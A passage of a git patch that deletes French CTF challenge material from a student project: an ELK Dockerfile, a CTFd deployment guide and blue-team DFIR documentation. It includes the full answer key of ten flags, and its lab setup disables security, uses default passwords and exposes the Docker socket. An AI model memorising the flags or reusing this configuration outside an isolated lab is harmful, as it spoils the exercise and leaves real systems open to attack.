From ba140baefca592529f2946d5ebb342cec7bf54f5 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Tue, 21 Jul 2026 11:43:51 +0200 Subject: [PATCH] =?UTF-8?q?chore(branche):=20garder=20uniquement=201-Red-T?= =?UTF-8?q?eam-Binary-Vault-Jakub=20=E2=80=94=20BRANCHE=20DE=20TRAVAIL,=20?= =?UTF-8?q?NE=20PAS=20MERGER=20DANS=20MAIN?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../1-Blue-Team-Phishing-ELK-Sarah/Dockerfile | 100 ---- .../GUIDE_DEPLOIEMENT.md | 464 --------------- .../1-Blue-Team-Phishing-ELK-Sarah/README.md | 69 --- .../docs/USER_GUIDE.md | 105 ---- .../init/import_kibana.sh | 171 ------ .../init/inject_logs.py | 80 --- .../logs/corp_incident.json | 224 ------- .../pipeline/logstash.conf | 46 -- .../supervisord.conf | 40 -- .../.dockerignore | 30 - .../.gitignore | 24 - .../Dockerfile | 71 --- .../README.md | 77 --- .../docker-compose.yml | 16 - .../docker-entrypoint.sh | 64 -- .../docs/ADMIN_DEPLOYMENT.md | 90 --- .../docs/USER_GUIDE.md | 60 -- .../report/report_template.md | 100 ---- .../setup/generate_challenge.py | 422 ------------- .../setup/generate_pcap.py | 255 -------- .../setup/requirements.txt | 2 - .../solution/SOLUTION.md | 243 -------- .../solution/validate_flag.py | 124 ---- .../tools/extract_strings.py | 237 -------- .../tools/vol_analyzer.py | 554 ------------------ .../Dockerfile | 134 ----- .../README.md | 62 -- .../challenge/app_config.bak | 12 - .../challenge/bash_history_jmartin | 10 - .../challenge/cleanup.sh | 5 - .../challenge/cron_meridian | 5 - .../challenge/decoy_customers.csv | 4 - .../challenge/decoy_db_dump_old.bak | 3 - .../challenge/decoy_website_2019.bak | 2 - .../challenge/entrypoint.sh | 18 - .../challenge/flag10.txt | 5 - .../challenge/flag3.txt | 6 - .../challenge/flag5.txt | 4 - .../challenge/flag6.txt | 7 - .../challenge/flag7.txt | 4 - .../challenge/flag8.txt | 6 - .../challenge/flag9.txt | 4 - .../challenge/logviewer.c | 29 - .../challenge/motd | 14 - .../challenge/orchestrator.py | 86 --- .../challenge/orchestrator_token.txt | 1 - .../challenge/r_dubois_creds.txt | 10 - .../challenge/readme_orchestrator.txt | 3 - .../challenge/sudoers_rdubois | 4 - .../challenge/welcome_note.txt | 10 - .../docs/ARCHITECTURE.md | 86 --- .../docs/CTFD_SETUP.md | 113 ---- .../docs/SCENARIO_JOUEUR.md | 115 ---- .../docs/SOLUTION_WRITEUP.md | 296 ---------- 54 files changed, 4726 deletions(-) delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/init/import_kibana.sh delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/init/inject_logs.py delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/logs/corp_incident.json delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf delete mode 100644 challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_pcap.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/requirements.txt delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/solution/SOLUTION.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/solution/validate_flag.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/tools/extract_strings.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/tools/vol_analyzer.py delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/Dockerfile delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/README.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/app_config.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/bash_history_jmartin delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cleanup.sh delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cron_meridian delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_customers.csv delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_db_dump_old.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_website_2019.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/entrypoint.sh delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag10.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag3.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag5.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag6.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag7.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag8.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag9.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/logviewer.c delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/motd delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator.py delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator_token.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/r_dubois_creds.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/readme_orchestrator.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/sudoers_rdubois delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/welcome_note.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/ARCHITECTURE.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/CTFD_SETUP.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SCENARIO_JOUEUR.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SOLUTION_WRITEUP.md diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile b/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile deleted file mode 100644 index 8168f1b..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/Dockerfile +++ /dev/null @@ -1,100 +0,0 @@ -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV ES_VERSION=8.11.0 -ENV LS_VERSION=1:8.11.0-1 - -# ── Dépendances système ────────────────────────────────────────────────────── -RUN apt-get update && apt-get install -y \ - wget curl gnupg supervisor \ - && rm -rf /var/lib/apt/lists/* - -# ── Java (requis par ES + Logstash) ───────────────────────────────────────── -RUN apt-get update && apt-get install -y default-jdk-headless \ - && rm -rf /var/lib/apt/lists/* - -# ── Clé GPG Elastic + dépôt ───────────────────────────────────────────────── -RUN wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch \ - | gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg \ - && echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \ - https://artifacts.elastic.co/packages/8.x/apt stable main" \ - > /etc/apt/sources.list.d/elastic-8.x.list - -# ── Installation Elasticsearch + Kibana + Logstash ─────────────────────────── -RUN apt-get update && apt-get install -y \ - elasticsearch=${ES_VERSION} \ - kibana=${ES_VERSION} \ - logstash=${LS_VERSION} \ - && rm -rf /var/lib/apt/lists/* - -# ── Configuration Elasticsearch ────────────────────────────────────────────── -RUN echo "network.host: 0.0.0.0" > /etc/elasticsearch/elasticsearch.yml \ - && echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.http.ssl.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enrollment.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo 'ES_JAVA_OPTS="-Xms512m -Xmx512m"' >> /etc/default/elasticsearch \ - && rm -rf /etc/elasticsearch/certs \ - && rm -f /etc/elasticsearch/elasticsearch.keystore \ - && mkdir -p /var/lib/elasticsearch /var/log/elasticsearch \ - /usr/share/elasticsearch/logs /usr/share/elasticsearch/data \ - && chown -R elasticsearch:elasticsearch \ - /etc/elasticsearch \ - /var/lib/elasticsearch \ - /var/log/elasticsearch \ - /usr/share/elasticsearch - -# ── Configuration Kibana ───────────────────────────────────────────────────── -RUN echo 'server.host: "0.0.0.0"' > /etc/kibana/kibana.yml \ - && echo 'elasticsearch.hosts: ["http://localhost:9200"]' >> /etc/kibana/kibana.yml \ - && echo 'xpack.security.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'telemetry.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.fleet.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.apm.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'xpack.securitySolution.enabled: false' >> /etc/kibana/kibana.yml \ - && rm -f /etc/kibana/kibana.keystore \ - && mkdir -p /var/lib/kibana /var/log/kibana /run/kibana \ - && chown -R kibana:kibana \ - /etc/kibana \ - /var/lib/kibana \ - /var/log/kibana \ - /run/kibana \ - /usr/share/kibana - -# ── Configuration Logstash ─────────────────────────────────────────────────── -RUN mkdir -p /usr/share/logstash/data /var/log/logstash /var/lib/logstash \ - && chown -R logstash:logstash \ - /usr/share/logstash \ - /etc/logstash \ - /var/log/logstash \ - /var/lib/logstash - -# ── Logstash configuration globale ─────────────────────────────────────────── -RUN mkdir -p /usr/share/logstash/config \ - && echo 'pipeline.ecs_compatibility: disabled' > /usr/share/logstash/config/logstash.yml \ - && echo 'xpack.monitoring.enabled: false' >> /usr/share/logstash/config/logstash.yml \ - && chown logstash:logstash /usr/share/logstash/config/logstash.yml - -# ── Logstash pipeline ──────────────────────────────────────────────────────── -COPY pipeline/logstash.conf /etc/logstash/conf.d/logstash.conf -RUN chown logstash:logstash /etc/logstash/conf.d/logstash.conf - -# ── Logs du challenge ──────────────────────────────────────────────────────── -COPY logs/ /opt/ctf-logs-src/ -RUN chmod -R 644 /opt/ctf-logs-src/*.json && chmod 755 /opt/ctf-logs-src/ - -# ── Supervisord configuration ──────────────────────────────────────────────── -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# ── Script d'injection des logs ────────────────────────────────────────────── -COPY init/inject_logs.py /opt/inject_logs.py -RUN chmod +x /opt/inject_logs.py - -# ── Script init Kibana ──────────────────────────────────────────────────────── -COPY init/import_kibana.sh /opt/import_kibana.sh -RUN chmod +x /opt/import_kibana.sh - -# ── Port exposé (Kibana) ───────────────────────────────────────────────────── -EXPOSE 5601 - -CMD ["/usr/bin/supervisord", "-n", "-c", "/etc/supervisor/conf.d/supervisord.conf"] \ No newline at end of file diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md deleted file mode 100644 index b3683ab..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/GUIDE_DEPLOIEMENT.md +++ /dev/null @@ -1,464 +0,0 @@ -# 🛠️ Guide complet : CTFd + Plugin Docker + Challenge DFIR ELK - -## Architecture finale - -``` -┌─────────────────────────────────────────────────────────────┐ -│ Serveur (Tailscale : 100.X.X.X) │ -│ │ -│ ┌──────────────┐ ┌──────────────────────────────────┐ │ -│ │ CTFd │ │ Instances challenge (Docker) │ │ -│ │ :8000 │ │ │ │ -│ │ │───▶│ Équipe A → port 32100 │ │ -│ │ Plugin │ │ Équipe B → port 32101 │ │ -│ │ containers │ │ Équipe C → port 32102 │ │ -│ └──────────────┘ │ (chaque instance = ELK isolé) │ │ -│ └──────────────────────────────────┘ │ -└─────────────────────────────────────────────────────────────┘ - │ │ - ▼ ▼ - Équipes accèdent Équipes accèdent - CTFd via Tailscale leur Kibana via Tailscale - 100.X.X.X:8000 100.X.X.X: -``` - ---- - -## PARTIE 1 — Build de l'image Docker du challenge - -### 1.1 Structure du projet - -``` -ctf-elk/ -├── Dockerfile ← image du challenge ELK -├── pipeline/ -│ └── logstash.conf -├── logs/ -│ └── corp_incident.json -├── kibana/ -│ └── kibana.yml -└── init/ - └── import_kibana.sh -``` - -### 1.2 Dockerfile du challenge (image self-contained) - -Le challenge est une image Docker **tout-en-un** qui embarque ES + Kibana + Logstash -dans un seul conteneur via supervisord. - -```dockerfile -FROM ubuntu:22.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV ES_VERSION=8.11.0 - -# ── Dépendances système ────────────────────────────────────── -RUN apt-get update && apt-get install -y \ - wget curl gnupg supervisor default-jdk \ - && rm -rf /var/lib/apt/lists/* - -# ── Clé GPG Elastic ───────────────────────────────────────── -RUN wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch \ - | gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg \ - && echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \ - https://artifacts.elastic.co/packages/8.x/apt stable main" \ - > /etc/apt/sources.list.d/elastic-8.x.list - -# ── Installation ES + Kibana + Logstash ───────────────────── -RUN apt-get update && apt-get install -y \ - elasticsearch=${ES_VERSION} \ - kibana=${ES_VERSION} \ - logstash \ - && rm -rf /var/lib/apt/lists/* - -# ── Config Elasticsearch ───────────────────────────────────── -RUN echo "network.host: 0.0.0.0" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.enabled: false" >> /etc/elasticsearch/elasticsearch.yml \ - && echo "xpack.security.http.ssl.enabled: false" >> /etc/elasticsearch/elasticsearch.yml - -# ── Config Kibana ──────────────────────────────────────────── -RUN echo 'server.host: "0.0.0.0"' >> /etc/kibana/kibana.yml \ - && echo 'elasticsearch.hosts: ["http://localhost:9200"]' >> /etc/kibana/kibana.yml \ - && echo 'xpack.security.enabled: false' >> /etc/kibana/kibana.yml \ - && echo 'telemetry.enabled: false' >> /etc/kibana/kibana.yml - -# ── Logstash pipeline et logs ──────────────────────────────── -COPY pipeline/logstash.conf /etc/logstash/conf.d/logstash.conf -COPY logs/ /opt/ctf-logs/ - -# ── Supervisord ────────────────────────────────────────────── -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# ── Script d'init Kibana (index pattern) ──────────────────── -COPY init/import_kibana.sh /opt/import_kibana.sh -RUN chmod +x /opt/import_kibana.sh - -EXPOSE 5601 - -CMD ["/usr/bin/supervisord", "-n", "-c", "/etc/supervisor/conf.d/supervisord.conf"] -``` - -### 1.3 supervisord.conf - -```ini -[supervisord] -nodaemon=true -logfile=/var/log/supervisord.log - -[program:elasticsearch] -command=/usr/share/elasticsearch/bin/elasticsearch -user=elasticsearch -environment=ES_JAVA_OPTS="-Xms512m -Xmx512m" -stdout_logfile=/var/log/elasticsearch.log -stderr_logfile=/var/log/elasticsearch.log -autorestart=true -priority=10 - -[program:kibana] -command=/usr/share/kibana/bin/kibana -user=kibana -stdout_logfile=/var/log/kibana.log -stderr_logfile=/var/log/kibana.log -autorestart=true -priority=20 - -[program:logstash] -command=/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf -user=logstash -environment=LS_JAVA_OPTS="-Xms256m -Xmx256m" -stdout_logfile=/var/log/logstash.log -stderr_logfile=/var/log/logstash.log -autorestart=false -startsecs=30 -priority=30 - -[program:kibana-init] -command=/opt/import_kibana.sh -stdout_logfile=/var/log/kibana-init.log -autorestart=false -startsecs=120 -priority=40 -``` - -### 1.4 logstash.conf adapté (chemin local) - -```ruby -input { - file { - path => "/opt/ctf-logs/*.json" - start_position => "beginning" - sincedb_path => "/dev/null" - codec => json - mode => "read" - } -} - -filter { - date { - match => ["@timestamp", "ISO8601"] - target => "@timestamp" - } - mutate { - add_field => { - "environment" => "corp.local" - "ctf_scenario" => "DFIR-Incident-2024-03-15" - } - } -} - -output { - elasticsearch { - hosts => ["http://localhost:9200"] - index => "dfir-incident-%{+YYYY.MM.dd}" - } -} -``` - -### 1.5 Build et tag de l'image - -```bash -# Se placer dans le répertoire ctf-elk/ -cd ctf-elk/ - -# Build de l'image (tag local, pas besoin de registry externe !) -docker build -t ctf-dfir-elk:latest . - -# Vérifier que l'image est bien présente -docker images | grep ctf-dfir-elk -``` - -> **Note sur ``** : avec le plugin CTFd Docker local, tu n'as -> **pas besoin** de registry externe (DockerHub, GitHub Container Registry...). -> Le plugin utilise directement le daemon Docker local du serveur. -> L'image doit juste être présente localement sur le serveur avec `docker images`. - ---- - -## PARTIE 2 — Installation de CTFd - -### 2.1 Cloner CTFd - -```bash -cd /opt -git clone https://github.com/CTFd/CTFd.git -cd CTFd -``` - -### 2.2 docker-compose.yml CTFd (adapté pour le plugin) - -```yaml -# /opt/CTFd/docker-compose.yml -version: "3" - -services: - ctfd: - build: . - user: root - restart: always - ports: - - "8000:8000" - environment: - - UPLOAD_FOLDER=/var/uploads - - DATABASE_URL=mysql+pymysql://ctfd:ctfd@db/ctfd - - REDIS_URL=redis://cache:6379 - - WORKERS=1 - - LOG_FOLDER=/var/log/CTFd - - ACCESS_LOG=- - - ERROR_LOG=- - - REVERSE_PROXY=false - volumes: - - .data/CTFd/logs:/var/log/CTFd - - .data/CTFd/uploads:/var/uploads - - .:/opt/CTFd:ro - # ⚠️ CRITIQUE : expose le socket Docker à CTFd pour le plugin - - /var/run/docker.sock:/var/run/docker.sock - depends_on: - - db - networks: - default: - - db: - image: mariadb:10.11 - restart: always - environment: - - MYSQL_ROOT_PASSWORD=ctfd - - MYSQL_USER=ctfd - - MYSQL_PASSWORD=ctfd - - MYSQL_DATABASE=ctfd - volumes: - - .data/mysql:/var/lib/mysql - networks: - default: - - cache: - image: redis:4 - restart: always - volumes: - - .data/redis:/data - networks: - default: - -networks: - default: -``` - -### 2.3 Lancer CTFd - -```bash -cd /opt/CTFd -docker-compose up -d -# CTFd disponible sur http://100.X.X.X:8000 -``` - ---- - -## PARTIE 3 — Installation du plugin CTFd Docker Containers - -Le plugin recommandé est **CTFdDockerContainersPlugin** (Bigyls), -fork maintenu de andyjsmith/CTFd-Docker-Plugin. - -### 3.1 Installation du plugin - -```bash -cd /opt/CTFd/CTFd/plugins - -# Cloner le plugin (doit s'appeler exactement "containers") -git clone https://github.com/Bigyls/CTFdDockerContainersPlugin.git containers - -# Installer les dépendances Python du plugin -cd containers -pip install -r requirements.txt -``` - -### 3.2 Redémarrer CTFd - -```bash -cd /opt/CTFd -docker-compose restart ctfd -``` - -### 3.3 Configurer le plugin dans l'interface CTFd - -1. Ouvrir **http://100.X.X.X:8000** → Se connecter en admin -2. Aller dans **Admin Panel** → barre de navigation → **Plugins** → **Containers** -3. Cliquer sur **Settings** -4. Remplir : - -| Champ | Valeur | -|-------|--------| -| **Connection Type** | `unix_socket` | -| **Connection String** | `/var/run/docker.sock` | -| **Base URL** | `http://100.X.X.X` ← **ton IP Tailscale** | -| **Container Timeout** | `7200` (2h) | -| **Max Containers** | `20` (ou nombre d'équipes) | - -5. Cliquer **Save** → le plugin doit afficher une icône verte ✅ - ---- - -## PARTIE 4 — Créer le challenge dans CTFd - -### 4.1 Créer le challenge - -1. **Admin Panel** → **Challenges** → **+ New Challenge** -2. Remplir : - -| Champ | Valeur | -|-------|--------| -| **Name** | `DFIR – Incident CORP.LOCAL` | -| **Category** | `Forensics` | -| **Type** | `container` ← type ajouté par le plugin | -| **Value** | `500` (total des points, ou gérer flag par flag) | -| **Image** | `ctf-dfir-elk:latest` | -| **Port** | `5601` | -| **Connect Type** | `http` | - -3. Dans la description, mettre le contexte (voir ci-dessous) -4. **Save** - -### 4.2 Description du challenge pour les joueurs - -```markdown -## 🔍 DFIR – Incident CORP.LOCAL - -Un incident de sécurité s'est produit sur le domaine **CORP.LOCAL**. -Vous avez accès à une instance **Kibana** contenant les logs Windows -des trois machines de l'infrastructure. - -Votre mission : analyser les logs et reconstituer la chaîne d'attaque. - -**Infrastructure :** -- `WIN-ACCT01` — Poste utilisateur (192.168.10.45) -- `APP-SRV01` — Serveur applicatif (192.168.10.52) -- `DC01` — Domain Controller (192.168.10.10) - -**Cliquez sur "Start Instance" pour lancer votre environnement Kibana.** -L'instance peut prendre 2-3 minutes à démarrer. - -> Accès : `http://100.X.X.X:` (visible après démarrage) -``` - -### 4.3 Créer les 10 flags dans CTFd - -Créer **10 challenges séparés** (ou 10 flags sur le même challenge selon ta config CTFd). -Le plus propre est de faire **un challenge par flag** dans la même catégorie : - -| Challenge | Flag | Points | -|-----------|------|--------| -| FLAG 1 – IP du C2 | `FLAG{185.243.115.23}` | 50 | -| FLAG 2 – Commande PowerShell encodée | `FLAG{SQBFAFgA...}` | 100 | -| FLAG 3 – Script téléchargé | `FLAG{update.ps1}` | 100 | -| FLAG 4 – SHA256 outil énumération | `FLAG{9f86d08...}` | 150 | -| FLAG 5 – Technique MITRE dump LSASS | `FLAG{T1003.001}` | 150 | -| FLAG 6 – Compte pivot vers APP-SRV01 | `FLAG{svc_backup}` | 150 | -| FLAG 7 – Heure premier RDP APP-SRV01 | `FLAG{09:48:12}` | 200 | -| FLAG 8 – Type auth Kerberos DC | `FLAG{Kerberos_TGS}` | 250 | -| FLAG 9 – SID ajouté groupe privilégié | `FLAG{S-1-5-21-...}` | 300 | -| FLAG 10 – Compte persistant + SPN | `FLAG{svc_update$}` | 400 | - -> Pour FLAG 4 : les joueurs voient `SharpHound.exe` dans les logs -> et doivent **chercher eux-mêmes le SHA256 sur VirusTotal / GitHub**. -> Le hash n'apparaît **pas** dans les logs du challenge. - ---- - -## PARTIE 5 — Isolation des instances par équipe - -Le plugin gère **automatiquement** l'isolation : - -- Chaque équipe clique **"Start Instance"** → le plugin lance un nouveau conteneur Docker -- Chaque conteneur a un **port aléatoire** assigné (ex: 32100, 32101...) -- Les conteneurs sont sur des réseaux Docker **isolés** (pas de communication inter-équipes) -- Le joueur voit son URL : `http://100.X.X.X:32100` dans l'interface CTFd - -Pour vérifier les instances actives (admin) : -→ **Admin Panel** → **Plugins** → **Containers** → liste des conteneurs actifs - ---- - -## PARTIE 6 — Accès Tailscale - -Les joueurs se connectent à Tailscale et accèdent : - -- **CTFd** : `http://100.X.X.X:8000` -- **Leur Kibana** : `http://100.X.X.X:` (affiché par CTFd après "Start") - -Si tu veux exposer uniquement via Tailscale (pas d'accès public) : - -```bash -# Vérifier l'IP Tailscale du serveur -tailscale ip -4 -# → 100.X.X.X - -# S'assurer que les ports 8000 et 32000-33000 sont autorisés dans le firewall -ufw allow from 100.64.0.0/10 to any port 8000 -ufw allow from 100.64.0.0/10 to any port 32000:33000/tcp -``` - ---- - -## PARTIE 7 — Commandes utiles - -```bash -# Voir toutes les instances en cours -docker ps | grep ctf-dfir-elk - -# Logs d'une instance -docker logs - -# Tuer une instance manuellement -docker stop - -# Vérifier l'espace disque (chaque instance = ~2GB) -df -h - -# Voir l'index ES d'une instance (depuis le serveur) -curl http://localhost:/dfir-incident-*/_count -``` - ---- - -## PARTIE 8 — Ressources mémoire estimées - -| Composant | RAM par instance | -|-----------|-----------------| -| Elasticsearch | ~512 MB | -| Kibana | ~512 MB | -| Logstash | ~256 MB | -| **Total/équipe** | **~1.3 GB** | - -Pour 10 équipes simultanées → **~13 GB RAM** minimum sur le serveur. - ---- - -## Checklist de déploiement - -- [ ] Image `ctf-dfir-elk:latest` buildée sur le serveur -- [ ] CTFd lancé (`docker-compose up -d`) -- [ ] Plugin `containers` installé dans `/opt/CTFd/CTFd/plugins/containers` -- [ ] Plugin configuré avec socket Docker + IP Tailscale -- [ ] Challenge créé avec image `ctf-dfir-elk:latest` port `5601` -- [ ] 10 flags créés dans CTFd -- [ ] Test : lancer une instance manuellement et vérifier Kibana -- [ ] Test accès Tailscale : `http://100.X.X.X:8000` diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md deleted file mode 100644 index 86c9e0e..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/README.md +++ /dev/null @@ -1,69 +0,0 @@ -# Blue Team CTF – DFIR Incident CORP.LOCAL -### Challenge Sarah – Forensique via SIEM / ELK - -## Documentation -- Guide joueur : `docs/USER_GUIDE.md` -- Guide admin/déploiement : `GUIDE_DEPLOIEMENT.md` - ---- - -## Contexte - -Le domaine **CORP.LOCAL** a été victime d'une intrusion. L'équipe SOC a collecté les journaux Windows des machines impactées et les a centralisés dans une instance **Kibana** mise à votre disposition. - -L'investigation préliminaire indique qu'un attaquant a compromis un poste utilisateur, pivoté vers un serveur applicatif, puis s'est attaqué au Domain Controller. - -> **Objectif** : Analyser les logs dans Kibana, reconstituer la chaîne d'attaque et répondre aux 10 questions du challenge. - ---- - -## Infrastructure du scénario - -| Machine | Rôle | IP | -|---------|------|----| -| `WIN-ACCT01` | Poste utilisateur compromis | 192.168.10.45 | -| `APP-SRV01` | Serveur applicatif (pivot) | 192.168.10.52 | -| `DC01` | Domain Controller (cible finale) | 192.168.10.10 | - ---- - -## Structure du challenge - -``` -ctf-forensics-dfir-elk/ -├── README.md <- Vous êtes ici -├── Dockerfile <- Image du challenge (ELK tout-en-un) -├── GUIDE_DEPLOIEMENT.md <- Guide admin complet -├── supervisord.conf <- Orchestration des services ELK -├── pipeline/ -│ └── logstash.conf <- Pipeline d'ingestion des logs -└── init/ - ├── inject_logs.py <- Injection des logs dans Elasticsearch - └── import_kibana.sh <- Import des index patterns Kibana -``` - ---- - -## Public cible - -- **Joueurs CTF** : commencez par `docs/USER_GUIDE.md` -- **Admins / déploiement** : suivez `GUIDE_DEPLOIEMENT.md` - ---- - -## Notes techniques - -- Le challenge tourne dans un conteneur Docker isolé par équipe (via CTFdDockerContainersPlugin). -- Chaque instance embarque Elasticsearch, Kibana et Logstash dans un seul conteneur. -- L'accès se fait via le port Kibana (5601) assigné dynamiquement par CTFd. -- L'instance peut prendre **2 à 3 minutes** à démarrer le temps qu'Elasticsearch soit prêt. - ---- - -## Avertissement - -Ce challenge est conçu à des fins **éducatives uniquement**. Les techniques présentées doivent être utilisées de manière éthique et légale, uniquement dans des environnements autorisés. - ---- - -*Blue Team CTF – Sarah – ESGI Projet Annuel 2026* diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md b/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md deleted file mode 100644 index fe78f19..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/docs/USER_GUIDE.md +++ /dev/null @@ -1,105 +0,0 @@ -# Guide joueur – DFIR Incident CORP.LOCAL - -## Contexte - -Un incident de sécurité s'est produit sur le domaine **CORP.LOCAL**. Vous avez accès à une instance **Kibana** contenant les journaux Windows collectés sur les machines impactées. - -Votre mission : analyser les logs, reconstituer la chaîne d'attaque et répondre aux questions du challenge. - ---- - -## Accès à votre instance Kibana - -1. Sur la page du challenge dans CTFd, cliquer sur **Start Instance** -2. Attendre **2 à 3 minutes** — Elasticsearch doit démarrer avant que Kibana soit disponible -3. Une URL s'affiche dans CTFd : `http://:` -4. Ouvrir cette URL dans votre navigateur → vous arrivez sur Kibana - -> Si Kibana affiche une erreur au premier chargement, patientez encore une minute et rafraîchissez. - ---- - -## Prise en main de Kibana - -### Accéder aux logs - -1. Dans Kibana, aller dans **Discover** (menu de gauche) -2. Sélectionner l'index pattern `dfir-incident-*` -3. Les logs des trois machines s'affichent dans l'ordre chronologique - -### Filtrer par machine - -Dans la barre de recherche, utiliser : - -``` -host.name: "WIN-ACCT01" -host.name: "APP-SRV01" -host.name: "DC01" -``` - -### Filtrer par type d'événement Windows - -``` -event.code: 4624 <- Connexion réussie -event.code: 4625 <- Connexion échouée -event.code: 4688 <- Création de processus -event.code: 4698 <- Tâche planifiée créée -event.code: 4720 <- Compte créé -event.code: 4728 <- Ajout à un groupe -``` - -### Filtrer par plage de temps - 